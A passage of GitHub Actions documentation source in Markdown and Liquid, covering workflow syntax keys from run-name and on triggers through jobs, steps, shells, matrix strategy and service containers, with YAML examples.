event-specific information for the workflow run. For example, for a workflow triggered by a `push` or `pull_request` event, it is set as the commit message or the title of the pull request. - -This value can include expressions and can reference the [`github`](/actions/learn-github-actions/contexts#github-context) and [`inputs`](/actions/learn-github-actions/contexts#inputs-context) contexts. - -### Example of `run-name` - -{% raw %} - -```yaml -run-name: Deploy to ${{ inputs.deploy_target }} by @${{ github.actor }} -``` - -{% endraw %} - -## `on` - -{% data reusables.actions.workflows.section-triggering-a-workflow %} - -## `on.<event_name>.types` - -{% data reusables.actions.workflows.section-triggering-a-workflow-types %} - -## `on.<pull_request|pull_request_target>.<branches|branches-ignore>` - -{% data reusables.actions.workflows.triggering-workflow-branches1 %} - -### Example: Including branches - -{% data reusables.actions.workflows.triggering-workflow-branches2 %} - -### Example: Excluding branches - -{% data reusables.actions.workflows.triggering-workflow-branches3 %} - -### Example: Including and excluding branches - -{% data reusables.actions.workflows.triggering-workflow-branches4 %} - -## `on.push.<branches|tags|branches-ignore|tags-ignore>` - -{% data reusables.actions.workflows.run-on-specific-branches-or-tags1 %} - -### Example: Including branches and tags - -{% data reusables.actions.workflows.run-on-specific-branches-or-tags2 %} - -### Example: Excluding branches and tags - -{% data reusables.actions.workflows.run-on-specific-branches-or-tags3 %} - -### Example: Including and excluding branches and tags - -{% data reusables.actions.workflows.run-on-specific-branches-or-tags4 %} - -## `on.<push|pull_request|pull_request_target>.<paths|paths-ignore>` - -{% data reusables.actions.workflows.triggering-a-workflow-paths1 %} - -### Example: Including paths - -{% data reusables.actions.workflows.triggering-a-workflow-paths2 %} - -### Example: Excluding paths - -{% data reusables.actions.workflows.triggering-a-workflow-paths3 %} - -### Example: Including and excluding paths - -{% data reusables.actions.workflows.triggering-a-workflow-paths4 %} - -### Git diff comparisons - -{% data reusables.actions.workflows.triggering-a-workflow-paths5 %} - -## `on.schedule` - -{% data reusables.actions.workflows.section-triggering-a-workflow-schedule %} - -## `on.workflow_call` - -Use `on.workflow_call` to define the inputs and outputs for a reusable workflow. You can also map the secrets that are available to the called workflow. For more information on reusable workflows, see [AUTOTITLE](/actions/using-workflows/reusing-workflows). - -## `on.workflow_call.inputs` - -When using the `workflow_call` keyword, you can optionally specify inputs that are passed to the called workflow from the caller workflow. For more information about the `workflow_call` keyword, see [AUTOTITLE](/actions/using-workflows/events-that-trigger-workflows#workflow-reuse-events). - -In addition to the standard input parameters that are available, `on.workflow_call.inputs` requires a `type` parameter. For more information, see [`on.workflow_call.inputs.<input_id>.type`](#onworkflow_callinputsinput_idtype). - -If a `default` parameter is not set, the default value of the input is `false` for a boolean, `0` for a number, and `""` for a string. - -Within the called workflow, you can use the `inputs` context to refer to an input. For more information, see [AUTOTITLE](/actions/learn-github-actions/contexts#inputs-context). - -If a caller workflow passes an input that is not specified in the called workflow, this results in an error. - -### Example of `on.workflow_call.inputs` - -{% raw %} - -```yaml -on: - workflow_call: - inputs: - username: - description: 'A username passed from the caller workflow' - default: 'john-doe' - required: false - type: string - -jobs: - print-username: - runs-on: ubuntu-latest - - steps: - - name: Print the input name to STDOUT - run: echo The username is ${{ inputs.username }} -``` - -{% endraw %} - -For more information, see [AUTOTITLE](/actions/using-workflows/reusing-workflows). - -## `on.workflow_call.inputs.<input_id>.type` - -Required if input is defined for the `on.workflow_call` keyword. The value of this parameter is a string specifying the data type of the input. This must be one of: `boolean`, `number`, or `string`. - -## `on.workflow_call.outputs` - -A map of outputs for a called workflow. Called workflow outputs are available to all downstream jobs in the caller workflow. Each output has an identifier, an optional `description,` and a `value.` The `value` must be set to the value of an output from a job within the called workflow. - -In the example below, two outputs are defined for this reusable workflow: `workflow_output1` and `workflow_output2`. These are mapped to outputs called `job_output1` and `job_output2`, both from a job called `my_job`. - -### Example of `on.workflow_call.outputs` - -{% raw %} - -```yaml -on: - workflow_call: - # Map the workflow outputs to job outputs - outputs: - workflow_output1: - description: "The first job output" - value: ${{ jobs.my_job.outputs.job_output1 }} - workflow_output2: - description: "The second job output" - value: ${{ jobs.my_job.outputs.job_output2 }} -``` - -{% endraw %} - -For information on how to reference a job output, see [`jobs.<job_id>.outputs`](#jobsjob_idoutputs). For more information, see [AUTOTITLE](/actions/using-workflows/reusing-workflows). - -## `on.workflow_call.secrets` - -A map of the secrets that can be used in the called workflow. - -Within the called workflow, you can use the `secrets` context to refer to a secret. - -> [!NOTE] -> If you are passing the secret to a nested reusable workflow, then you must use [`jobs.<job_id>.secrets`](#jobsjob_idsecrets) again to pass the secret. For more information, see [AUTOTITLE](/actions/using-workflows/reusing-workflows#passing-secrets-to-nested-workflows). - -If a caller workflow passes a secret that is not specified in the called workflow, this results in an error. - -### Example of `on.workflow_call.secrets` - -{% raw %} - -```yaml -on: - workflow_call: - secrets: - access-token: - description: 'A token passed from the caller workflow' - required: false - -jobs: - - pass-secret-to-action: - runs-on: ubuntu-latest - steps: - # passing the secret to an action - - name: Pass the received secret to an action - uses: ./.github/actions/my-action - with: - token: ${{ secrets.access-token }} - - # passing the secret to a nested reusable workflow - pass-secret-to-workflow: - uses: ./.github/workflows/my-workflow - secrets: - token: ${{ secrets.access-token }} -``` - -{% endraw %} - -## `on.workflow_call.secrets.<secret_id>` - -A string identifier to associate with the secret. - -## `on.workflow_call.secrets.<secret_id>.required` - -A boolean specifying whether the secret must be supplied. - -## `on.workflow_run.<branches|branches-ignore>` - -{% data reusables.actions.workflows.section-specifying-branches %} - -## `on.workflow_dispatch` - -{% data reusables.actions.workflow-dispatch %} - -## `on.workflow_dispatch.inputs` - -{% data reusables.actions.workflow-dispatch-inputs %} - -### Example of `on.workflow_dispatch.inputs` - -{% data reusables.actions.workflow-dispatch-inputs-example %} - -## `on.workflow_dispatch.inputs.<input_id>.required` - -A boolean specifying whether the input must be supplied. - -## `on.workflow_dispatch.inputs.<input_id>.type` - -The value of this parameter is a string specifying the data type of the input. This must be one of: `boolean`, `choice`, `number`, `environment` or `string`. - -## `permissions` - -{% data reusables.actions.jobs.section-assigning-permissions-to-jobs %} - -### Defining access for the `GITHUB_TOKEN` scopes - -{% data reusables.actions.github-token-available-permissions %} - -#### Changing the permissions in a forked repository - -{% data reusables.actions.forked-write-permission %} - -### Setting the `GITHUB_TOKEN` permissions for all jobs in a workflow - -You can specify `permissions` at the top level of a workflow, so that the setting applies to all jobs in the workflow. - -#### Example: Setting the `GITHUB_TOKEN` permissions for an entire workflow - -{% data reusables.actions.jobs.setting-permissions-all-jobs-example %} - -## `env` - -A `map` of variables that are available to the steps of all jobs in the workflow. You can also set variables that are only available to the steps of a single job or to a single step. For more information, see [`jobs.<job_id>.env`](#jobsjob_idenv) and [`jobs.<job_id>.steps[*].env`](#jobsjob_idstepsenv). - -Variables in the `env` map cannot be defined in terms of other variables in the map. - -{% data reusables.repositories.actions-env-var-note %} - -### Example of `env` - -```yaml -env: - SERVER: production -``` - -## `defaults` - -{% data reusables.actions.jobs.setting-default-values-for-jobs-defaults %} - -## `defaults.run` - -{% data reusables.actions.jobs.setting-default-values-for-jobs-defaults-run %} - -## `defaults.run.shell` - -{% data reusables.actions.jobs.setting-default-values-for-jobs-defaults-run-shell %} - -## `defaults.run.working-directory` - -{% data reusables.actions.jobs.setting-default-values-for-jobs-defaults-run-working-directory %} - -## `concurrency` - -{% data reusables.actions.jobs.section-using-concurrency %} - -## `jobs` - -{% data reusables.actions.jobs.section-using-jobs-in-a-workflow %} - -## `jobs.<job_id>` - -{% data reusables.actions.jobs.section-using-jobs-in-a-workflow-id %} - -## `jobs.<job_id>.name` - -{% data reusables.actions.jobs.section-using-jobs-in-a-workflow-name %} - -## `jobs.<job_id>.permissions` - -{% data reusables.actions.jobs.section-assigning-permissions-to-jobs-specific %} - -{% data reusables.actions.github-token-scope-descriptions %} - -### Defining access for the `GITHUB_TOKEN` scopes - -{% data reusables.actions.github-token-available-permissions %} - -#### Changing the permissions in a forked repository - -{% data reusables.actions.forked-write-permission %} - -#### Example: Setting the `GITHUB_TOKEN` permissions for one job in a workflow - -{% data reusables.actions.jobs.setting-permissions-specific-jobs-example %} - -## `jobs.<job_id>.needs` - -{% data reusables.actions.jobs.section-using-jobs-in-a-workflow-needs %} - -## `jobs.<job_id>.if` - -{% data reusables.actions.jobs.section-using-conditions-to-control-job-execution %} - -## `jobs.<job_id>.runs-on` - -{% data reusables.actions.jobs.choosing-runner-overview %} - -### Choosing {% data variables.product.prodname_dotcom %}-hosted runners - -{% data reusables.actions.jobs.choosing-runner-github-hosted %} - -### Choosing self-hosted runners - -{% data reusables.actions.jobs.choosing-runner-self-hosted %} - -### Choosing runners in a group - -{% data reusables.actions.jobs.choosing-runner-group %} - -## `jobs.<job_id>.environment` - -{% data reusables.actions.jobs.section-using-environments-for-jobs %} - -## `jobs.<job_id>.concurrency` - -{% data reusables.actions.jobs.section-using-concurrency-jobs %} - -## `jobs.<job_id>.outputs` - -{% data reusables.actions.jobs.section-defining-outputs-for-jobs %} - -## `jobs.<job_id>.env` - -A `map` of variables that are available to all steps in the job. You can set variables for the entire workflow or an individual step. For more information, see [`env`](#env) and [`jobs.<job_id>.steps[*].env`](#jobsjob_idstepsenv). - -{% data reusables.repositories.actions-env-var-note %} - -### Example of `jobs.<job_id>.env` - -```yaml -jobs: - job1: - env: - FIRST_NAME: Mona -``` - -## `jobs.<job_id>.defaults` - -{% data reusables.actions.jobs.setting-default-values-for-jobs-defaults-job %} - -## `jobs.<job_id>.defaults.run` - -{% data reusables.actions.jobs.setting-default-values-for-jobs-defaults-job-run %} - -## `jobs.<job_id>.defaults.run.shell` - -{% data reusables.actions.jobs.setting-default-values-for-jobs-defaults-run-shell %} - -## `jobs.<job_id>.defaults.run.working-directory` - -{% data reusables.actions.jobs.setting-default-values-for-jobs-defaults-run-working-directory %} - -### Example: Setting default `run` step options for a job - -{% data reusables.actions.jobs.setting-default-run-value-for-job-example %} - -## `jobs.<job_id>.steps` - -A job contains a sequence of tasks called `steps`. Steps can run commands, run setup tasks, or run an action in your repository, a public repository, or an action published in a Docker registry. Not all steps run actions, but all actions run as a step. Each step runs in its own process in the runner environment and has access to the workspace and filesystem. Because steps run in their own process, changes to environment variables are not preserved between steps. {% data variables.product.prodname_dotcom %} provides built-in steps to set up and complete a job. - -{% data variables.product.prodname_dotcom %} only displays the first 1,000 checks, however, you can run an unlimited number of steps as long as you are within the workflow usage limits. For more information, see [AUTOTITLE](/actions/learn-github-actions/usage-limits-billing-and-administration) for {% data variables.product.prodname_dotcom %}-hosted runners and [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/about-self-hosted-runners#usage-limits) for self-hosted runner usage limits. - -### Example of `jobs.<job_id>.steps` - -{% raw %} - -```yaml -name: Greeting from Mona - -on: push - -jobs: - my-job: - name: My Job - runs-on: ubuntu-latest - steps: - - name: Print a greeting - env: - MY_VAR: Hi there! My name is - FIRST_NAME: Mona - MIDDLE_NAME: The - LAST_NAME: Octocat - run: | - echo $MY_VAR $FIRST_NAME $MIDDLE_NAME $LAST_NAME. -``` - -{% endraw %} - -## `jobs.<job_id>.steps[*].id` - -A unique identifier for the step. You can use the `id` to reference the step in contexts. For more information, see [AUTOTITLE](/actions/learn-github-actions/contexts). - -## `jobs.<job_id>.steps[*].if` - -You can use the `if` conditional to prevent a step from running unless a condition is met. {% data reusables.actions.if-supported-contexts %} - -{% data reusables.actions.expression-syntax-if %} For more information, see [AUTOTITLE](/actions/learn-github-actions/expressions). - -### Example: Using contexts - -This step only runs when the event type is a `pull_request` and the event action is `unassigned`. - -```yaml -steps: - - name: My first step - if: {% raw %}${{ github.event_name == 'pull_request' && github.event.action == 'unassigned' }}{% endraw %} - run: echo This event is a pull request that had an assignee removed. -``` - -### Example: Using status check functions - -The `my backup step` only runs when the previous step of a job fails. For more information, see [AUTOTITLE](/actions/learn-github-actions/expressions#status-check-functions). - -```yaml -steps: - - name: My first step - uses: octo-org/action-name@main - - name: My backup step - if: {% raw %}${{ failure() }}{% endraw %} - uses: actions/heroku@1.0.0 -``` - -### Example: Using secrets - -Secrets cannot be directly referenced in `if:` conditionals. Instead, consider setting secrets as job-level environment variables, then referencing the environment variables to conditionally run steps in the job. - -If a secret has not been set, the return value of an expression referencing the secret (such as {% raw %}`${{ secrets.SuperSecret }}`{% endraw %} in the example) will be an empty string. - -{% raw %} - -```yaml -name: Run a step if a secret has been set -on: push -jobs: - my-jobname: - runs-on: ubuntu-latest - env: - super_secret: ${{ secrets.SuperSecret }} - steps: - - if: ${{ env.super_secret != '' }} - run: echo 'This step will only run if the secret has a value set.' - - if: ${{ env.super_secret == '' }} - run: echo 'This step will only run if the secret does not have a value set.' -``` - -{% endraw %} - -For more information, see [AUTOTITLE](/actions/learn-github-actions/contexts#context-availability) and [AUTOTITLE](/actions/security-guides/using-secrets-in-github-actions). - -## `jobs.<job_id>.steps[*].name` - -A name for your step to display on {% data variables.product.prodname_dotcom %}. - -## `jobs.<job_id>.steps[*].uses` - -Selects an action to run as part of a step in your job. An action is a reusable unit of code. You can use an action defined in the same repository as the workflow, a public repository, or in a [published Docker container image](https://hub.docker.com/). - -We strongly recommend that you include the version of the action you are using by specifying a Git ref, SHA, or Docker tag. If you don't specify a version, it could break your workflows or cause unexpected behavior when the action owner publishes an update. -* Using the commit SHA of a released action version is the safest for stability and security. -* If the action publishes major version tags, you should expect to receive critical fixes and security patches while still retaining compatibility. Note that this behavior is at the discretion of the action's author. -* Using the default branch of an action may be convenient, but if someone releases a new major version with a breaking change, your workflow could break. - -Some actions require inputs that you must set using the [`with`](#jobsjob_idstepswith) keyword. Review the action's README file to determine the inputs required. - -Actions are either JavaScript files or Docker containers. If the action you're using is a Docker container you must run the job in a Linux environment. For more details, see [`runs-on`](#jobsjob_idruns-on). - -### Example: Using versioned actions - -```yaml -steps: - # Reference a specific commit - - uses: actions/checkout@8f4b7f84864484a7bf31766abe9204da3cbe65b3 - # Reference the major version of a release - - uses: {% data reusables.actions.action-checkout %} - # Reference a specific version - - uses: {% data reusables.actions.action-checkout %}.2.0 - # Reference a branch - - uses: actions/checkout@main -``` - -### Example: Using a public action - -`{owner}/{repo}@{ref}` - -You can specify a branch, ref, or SHA in a public {% data variables.product.prodname_dotcom %} repository. - -```yaml -jobs: - my_first_job: - steps: - - name: My first step - # Uses the default branch of a public repository - uses: actions/heroku@main - - name: My second step - # Uses a specific version tag of a public repository - uses: actions/aws@v2.0.1 -``` - -### Example: Using a public action in a subdirectory - -`{owner}/{repo}/{path}@{ref}` - -A subdirectory in a public {% data variables.product.prodname_dotcom %} repository at a specific branch, ref, or SHA. - -```yaml -jobs: - my_first_job: - steps: - - name: My first step - uses: actions/aws/ec2@main -``` - -### Example: Using an action in the same repository as the workflow - -`./path/to/dir` - -The path to the directory that contains the action in your workflow's repository. You must check out your repository before using the action. - -{% data reusables.actions.workflows.section-referencing-an-action-from-the-same-repository %} - -### Example: Using a Docker Hub action - -`docker://{image}:{tag}` - -A Docker image published on [Docker Hub](https://hub.docker.com/). - -```yaml -jobs: - my_first_job: - steps: - - name: My first step - uses: docker://alpine:3.8 -``` - -{% ifversion fpt or ghec %} - -### Example: Using the {% data variables.product.prodname_registry %} {% data variables.product.prodname_container_registry %} - -`docker://{host}/{image}:{tag}` - -A public Docker image in the {% data variables.product.prodname_registry %} {% data variables.product.prodname_container_registry %}. - -```yaml -jobs: - my_first_job: - steps: - - name: My first step - uses: docker://ghcr.io/OWNER/IMAGE_NAME -``` - -{% endif %} - -### Example: Using a Docker public registry action - -`docker://{host}/{image}:{tag}` - -A Docker image in a public registry. This example uses the Google Container Registry at `gcr.io`. - -```yaml -jobs: - my_first_job: - steps: - - name: My first step - uses: docker://gcr.io/cloud-builders/gradle -``` - -### Example: Using an action inside a different private repository than the workflow - -Your workflow must checkout the private repository and reference the action locally. Generate a {% data variables.product.pat_generic %} and add the token as a secret. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token) and [AUTOTITLE](/actions/security-guides/using-secrets-in-github-actions). - -Replace `PERSONAL_ACCESS_TOKEN` in the example with the name of your secret. - -```yaml -jobs: - my_first_job: - steps: - - name: Check out repository - uses: {% data reusables.actions.action-checkout %} - with: - repository: octocat/my-private-repo - ref: v1.0 - token: {% raw %}${{ secrets.PERSONAL_ACCESS_TOKEN }}{% endraw %} - path: ./.github/actions/my-private-repo - - name: Run my action - uses: ./.github/actions/my-private-repo/my-action -``` - -Alternatively, use a {% data variables.product.prodname_github_app %} instead of a {% data variables.product.pat_generic %} in order to ensure your workflow continues to run even if the {% data variables.product.pat_generic %} owner leaves. For more information, see [AUTOTITLE](/apps/creating-github-apps/guides/making-authenticated-api-requests-with-a-github-app-in-a-github-actions-workflow). - -## `jobs.<job_id>.steps[*].run` - -Runs command-line programs that do not exceed 21,000 characters using the operating system's shell. If you do not provide a `name`, the step name will default to the text specified in the `run` command. - -Commands run using non-login shells by default. You can choose a different shell and customize the shell used to run commands. For more information, see [`jobs.<job_id>.steps[*].shell`](#jobsjob_idstepsshell). - -Each `run` keyword represents a new process and shell in the runner environment. When you provide multi-line commands, each line runs in the same shell. For example: - -* A single-line command: - - ```yaml - - name: Install Dependencies - run: npm install - ``` - -* A multi-line command: - - ```yaml - - name: Clean install dependencies and build - run: | - npm ci - npm run build - ``` - -## `jobs.<job_id>.steps[*].working-directory` - -Using the `working-directory` keyword, you can specify the working directory of where to run the command. - -```yaml -- name: Clean temp directory - run: rm -rf * - working-directory: ./temp -``` - -Alternatively, you can specify a default working directory for all `run` steps in a job, or for all `run` steps in the entire workflow. For more information, see [`defaults.run.working-directory`](/actions/using-workflows/workflow-syntax-for-github-actions#defaultsrunworking-directory) and [`jobs.<job_id>.defaults.run.working-directory`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_iddefaultsrunworking-directory). - -You can also use a `run` step to run a script. For more information, see [AUTOTITLE](/actions/writing-workflows/choosing-what-your-workflow-does/adding-scripts-to-your-workflow). - -## `jobs.<job_id>.steps[*].shell` - -You can override the default shell settings in the runner's operating system and the job's default using the `shell` keyword. You can use built-in `shell` keywords, or you can define a custom set of shell options. The shell command that is run internally executes a temporary file that contains the commands specified in the `run` keyword. - -{% data reusables.actions.supported-shells %} - -Alternatively, you can specify a default shell for all `run` steps in a job, or for all `run` steps in the entire workflow. For more information, see [`defaults.run.shell`](/actions/using-workflows/workflow-syntax-for-github-actions#defaultsrunshell) and [`jobs.<job_id>.defaults.run.shell`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_iddefaultsrunshell). - -### Example: Running a command using Bash - -```yaml -steps: - - name: Display the path - shell: bash - run: echo $PATH -``` - -### Example: Running a command using Windows `cmd` - -```yaml -steps: - - name: Display the path - shell: cmd - run: echo %PATH% -``` - -### Example: Running a command using PowerShell Core - -```yaml -steps: - - name: Display the path - shell: pwsh - run: echo ${env:PATH} -``` - -### Example: Using PowerShell Desktop to run a command - -```yaml -steps: - - name: Display the path - shell: powershell - run: echo ${env:PATH} -``` - -### Example: Running an inline Python script - -```yaml -steps: - - name: Display the path - shell: python - run: | - import os - print(os.environ['PATH']) -``` - -### Custom shell - -You can set the `shell` value to a template string using `command [options] {0} [more_options]`. {% data variables.product.prodname_dotcom %} interprets the first whitespace-delimited word of the string as the command, and inserts the file name for the temporary script at `{0}`. - -For example: - -```yaml -steps: - - name: Display the environment variables and their values - shell: perl {0} - run: | - print %ENV -``` - -The command used, `perl` in this example, must be installed on the runner. - -{% ifversion fpt or ghec %} -For information about the software included on GitHub-hosted runners, see [AUTOTITLE](/actions/using-github-hosted-runners/about-github-hosted-runners#supported-software). -{% endif %} - -### Exit codes and error action preference - -For built-in shell keywords, we provide the following defaults that are executed by {% data variables.product.prodname_dotcom %}-hosted runners. You should use these guidelines when running shell scripts. - -* `bash`/`sh`: - * By default, fail-fast behavior is enforced using `set -e` for both `sh` and `bash`. When `shell: bash` is specified, `-o pipefail` is also applied to enforce early exit from pipelines that generate a non-zero exit status. - * You can take full control over shell parameters by providing a template string to the shell options. For example, `bash {0}`. - * `sh`-like shells exit with the exit code of the last command executed in a script, which is also the default behavior for actions. The runner will report the status of the step as fail/succeed based on this exit code. - -* `powershell`/`pwsh` - * Fail-fast behavior when possible. For `pwsh` and `powershell` built-in shell, we will prepend `$ErrorActionPreference = 'stop'` to script contents. - * We append `if ((Test-Path -LiteralPath variable:\LASTEXITCODE)) { exit $LASTEXITCODE }` to powershell scripts so action statuses reflect the script's last exit code. - * Users can always opt out by not using the built-in shell, and providing a custom shell option like: `pwsh -File {0}`, or `powershell -Command "& '{0}'"`, depending on need. - -* `cmd` - * There doesn't seem to be a way to fully opt into fail-fast behavior other than writing your script to check each error code and respond accordingly. Because we can't actually provide that behavior by default, you need to write this behavior into your script. - * `cmd.exe` will exit with the error level of the last program it executed, and it will return the error code to the runner. This behavior is internally consistent with the previous `sh` and `pwsh` default behavior and is the `cmd.exe` default, so this behavior remains intact. - -## `jobs.<job_id>.steps[*].with` - -A `map` of the input parameters defined by the action. Each input parameter is a key/value pair. Input parameters are set as environment variables. The variable is prefixed with `INPUT_` and converted to upper case. - -Input parameters defined for a Docker container must use `args`. For more information, see [`jobs.<job_id>.steps[*].with.args`](#jobsjob_idstepswithargs). - -### Example of `jobs.<job_id>.steps[*].with` - -Defines the three input parameters (`first_name`, `middle_name`, and `last_name`) defined by the `hello_world` action. These input variables will be accessible to the `hello-world` action as `INPUT_FIRST_NAME`, `INPUT_MIDDLE_NAME`, and `INPUT_LAST_NAME` environment variables. - -```yaml -jobs: - my_first_job: - steps: - - name: My first step - uses: actions/hello_world@main - with: - first_name: Mona - middle_name: The - last_name: Octocat -``` - -## `jobs.<job_id>.steps[*].with.args` - -A `string` that defines the inputs for a Docker container. {% data variables.product.prodname_dotcom %} passes the `args` to the container's `ENTRYPOINT` when the container starts up. An `array of strings` is not supported by this parameter. A single argument that includes spaces should be surrounded by double quotes `""`. - -### Example of `jobs.<job_id>.steps[*].with.args` - -{% raw %} - -```yaml -steps: - - name: Explain why this job ran - uses: octo-org/action-name@main - with: - entrypoint: /bin/echo - args: The ${{ github.event_name }} event triggered this step. -``` - -{% endraw %} - -The `args` are used in place of the `CMD` instruction in a `Dockerfile`. If you use `CMD` in your `Dockerfile`, use the guidelines ordered by preference: - -1. Document required arguments in the action's README and omit them from the `CMD` instruction. -1. Use defaults that allow using the action without specifying any `args`. -1. If the action exposes a `--help` flag, or something similar, use that as the default to make your action self-documenting. - -## `jobs.<job_id>.steps[*].with.entrypoint` - -Overrides the Docker `ENTRYPOINT` in the `Dockerfile`, or sets it if one wasn't already specified. Unlike the Docker `ENTRYPOINT` instruction which has a shell and exec form, `entrypoint` keyword accepts only a single string defining the executable to be run. - -### Example of `jobs.<job_id>.steps[*].with.entrypoint` - -```yaml -steps: - - name: Run a custom command - uses: octo-org/action-name@main - with: - entrypoint: /a/different/executable -``` - -The `entrypoint` keyword is meant to be used with Docker container actions, but you can also use it with JavaScript actions that don't define any inputs. - -## `jobs.<job_id>.steps[*].env` - -Sets variables for steps to use in the runner environment. You can also set variables for the entire workflow or a job. For more information, see [`env`](#env) and [`jobs.<job_id>.env`](#jobsjob_idenv). - -{% data reusables.repositories.actions-env-var-note %} - -Public actions may specify expected variables in the README file. If you are setting a secret or sensitive value, such as a password or token, you must set secrets using the `secrets` context. For more information, see [AUTOTITLE](/actions/learn-github-actions/contexts). - -### Example of `jobs.<job_id>.steps[*].env` - -{% raw %} - -```yaml -steps: - - name: My first action - env: - GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} - FIRST_NAME: Mona - LAST_NAME: Octocat -``` - -{% endraw %} - -## `jobs.<job_id>.steps[*].continue-on-error` - -Prevents a job from failing when a step fails. Set to `true` to allow a job to pass when this step fails. - -## `jobs.<job_id>.steps[*].timeout-minutes` - -The maximum number of minutes to run the step before killing the process. - -Fractional values are not supported. `timeout-minutes` must be a positive integer. - -## `jobs.<job_id>.timeout-minutes` - -The maximum number of minutes to let a job run before {% data variables.product.prodname_dotcom %} automatically cancels it. Default: 360 - -If the timeout exceeds the job execution time limit for the runner, the job will be canceled when the execution time limit is met instead. For more information about job execution time limits, see [AUTOTITLE](/actions/learn-github-actions/usage-limits-billing-and-administration#usage-limits) for {% data variables.product.prodname_dotcom %}-hosted runners and [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/about-self-hosted-runners#usage-limits) for self-hosted runner usage limits. - -> [!NOTE] -> {% data reusables.actions.github-token-expiration %} For self-hosted runners, the token may be the limiting factor if the job timeout is greater than 24 hours. For more information on the `GITHUB_TOKEN`, see [AUTOTITLE](/actions/security-guides/automatic-token-authentication#about-the-github_token-secret). - -## `jobs.<job_id>.strategy` - -Use `jobs.<job_id>.strategy` to use a matrix strategy for your jobs. {% data reusables.actions.jobs.about-matrix-strategy %} For more information, see [AUTOTITLE](/actions/using-jobs/using-a-matrix-for-your-jobs). - -## `jobs.<job_id>.strategy.matrix` - -{% data reusables.actions.jobs.using-matrix-strategy %} - -### Example: Using a single-dimension matrix - -{% data reusables.actions.jobs.single-dimension-matrix %} - -### Example: Using a multi-dimension matrix - -{% data reusables.actions.jobs.multi-dimension-matrix %} - -### Example: Using contexts to create matrices - -{% data reusables.actions.jobs.matrix-from-context %} - -## `jobs.<job_id>.strategy.matrix.include` - -{% data reusables.actions.jobs.matrix-include %} - -### Example: Expanding configurations - -{% data reusables.actions.jobs.matrix-expand-with-include %} - -### Example: Adding configurations - -{% data reusables.actions.jobs.matrix-add-with-include %} - -## `jobs.<job_id>.strategy.matrix.exclude` - -{% data reusables.actions.jobs.matrix-exclude %} - -## `jobs.<job_id>.strategy.fail-fast` - -{% data reusables.actions.jobs.section-using-a-build-matrix-for-your-jobs-failfast %} - -## `jobs.<job_id>.strategy.max-parallel` - -{% data reusables.actions.jobs.section-using-a-build-matrix-for-your-jobs-max-parallel %} - -## `jobs.<job_id>.continue-on-error` - -Prevents a workflow run from failing when a job fails. Set to `true` to allow a workflow run to pass when this job fails. - -### Example: Preventing a specific failing matrix job from failing a workflow run - -You can allow specific jobs in a job matrix to fail without failing the workflow run. For example, if you wanted to only allow an experimental job with `node` set to `15` to fail without failing the workflow run. - -{% raw %} - -```yaml -runs-on: ${{ matrix.os }} -continue-on-error: ${{ matrix.experimental }} -strategy: - fail-fast: false - matrix: - node: [13, 14] - os: [macos-latest, ubuntu-latest] - experimental: [false] - include: - - node: 15 - os: ubuntu-latest - experimental: true -``` - -{% endraw %} - -## `jobs.<job_id>.container` - -{% data reusables.actions.docker-container-os-support %} - -{% data reusables.actions.jobs.section-running-jobs-in-a-container %} - -## `jobs.<job_id>.container.image` - -{% data reusables.actions.jobs.section-running-jobs-in-a-container-image %} - -## `jobs.<job_id>.container.credentials` - -{% data reusables.actions.jobs.section-running-jobs-in-a-container-credentials %} - -## `jobs.<job_id>.container.env` - -{% data reusables.actions.jobs.section-running-jobs-in-a-container-env %} - -## `jobs.<job_id>.container.ports` - -{% data reusables.actions.jobs.section-running-jobs-in-a-container-ports %} - -## `jobs.<job_id>.container.volumes` - -{% data reusables.actions.jobs.section-running-jobs-in-a-container-volumes %} - -## `jobs.<job_id>.container.options` - -{% data reusables.actions.jobs.section-running-jobs-in-a-container-options %} - -## `jobs.<job_id>.services` - -{% data reusables.actions.docker-container-os-support %} - -Used to host service containers for a job in a workflow. Service containers are useful for creating databases or cache services like Redis. The runner automatically creates a Docker network and manages the life cycle of the service containers. - -If you configure your job to run in a container, or your step uses container actions, you don't need to map ports to access the service or action. Docker automatically exposes all ports between containers on the same Docker user-defined bridge network. You can directly reference the service container by its hostname. The hostname is automatically mapped to the label name you configure for the service in the workflow. - -If you configure the job to run directly on the runner machine and your step doesn't use a container action, you must map any required Docker service container ports to the Docker host (the runner machine). You can access the service container using localhost and the mapped port. - -For more information about the differences between networking service containers, see [AUTOTITLE](/actions/using-containerized-services/about-service-containers). - -### Example: Using localhost - -This example creates two services: nginx and redis. When you specify the container port but not the host port, the container port is randomly assigned to a free port on the host. {% data variables.product.prodname_dotcom %} sets the assigned host port in the {% raw %}`${{job.services.<service_name>.ports}}`{% endraw %} context. In this example, you can access the service host ports using the {% raw %}`${{ job.services.nginx.ports['80'] }}`{% endraw %} and {% raw %}`${{ job.services.redis.ports['6379'] }}`{% endraw %} contexts. - -```yaml -services: - nginx: - image: nginx - # Map port 8080 on the Docker host to port 80 on the nginx container - ports: - - 8080:80 - redis: - image: redis - # Map random free TCP port on Docker host to port 6379 on redis container - ports: - - 6379/tcp -steps: - - run: | - echo "Redis available on 127.0.0.1:{% raw %}${{ job.services.redis.ports['6379'] }}{% endraw %}" - echo "Nginx available on 127.0.0.1:{% raw %}${{ job.services.nginx.ports['80'] }}{% endraw %}" -``` - -## `jobs.<job_id>.services.<service_id>.image` - -The Docker image to use as the service container to run the action. The value can be the Docker Hub image name or a registry name. - -If `jobs.<job_id>.services.<service_id>.image` is assigned an empty string, the service will not start. You can use this to set up conditional services, similar to the following example. - -```yaml -services: - nginx: - image: {% raw %}${{ options.nginx == true && 'nginx' || '' }}{% endraw %} -``` - -## `jobs.<job_id>.services.<service_id>.credentials` - -{% data reusables.actions.registry-credentials %} - -### Example of `jobs.<job_id>.services.<service_id>.credentials` - -{% raw %} - -```yaml -services: - myservice1: - image: ghcr.io/owner/myservice1 - credentials: - username: ${{ github.actor }} - password: ${{ secrets.github_token }} - myservice2: - image: dockerhub_org/myservice2 - credentials: - username: ${{ secrets.DOCKER_USER }} - password: ${{ secrets.DOCKER_PASSWORD }} -``` - -{% endraw %} - -## `jobs.<job_id>.services.<service_id>.env` - -Sets a `map` of environment variables in the service container. - -## `jobs.<job_id>.services.<service_id>.ports` - -Sets an `array` of ports to expose on the service container. - -## `jobs.<job_id>.services.<service_id>.volumes` - -Sets an 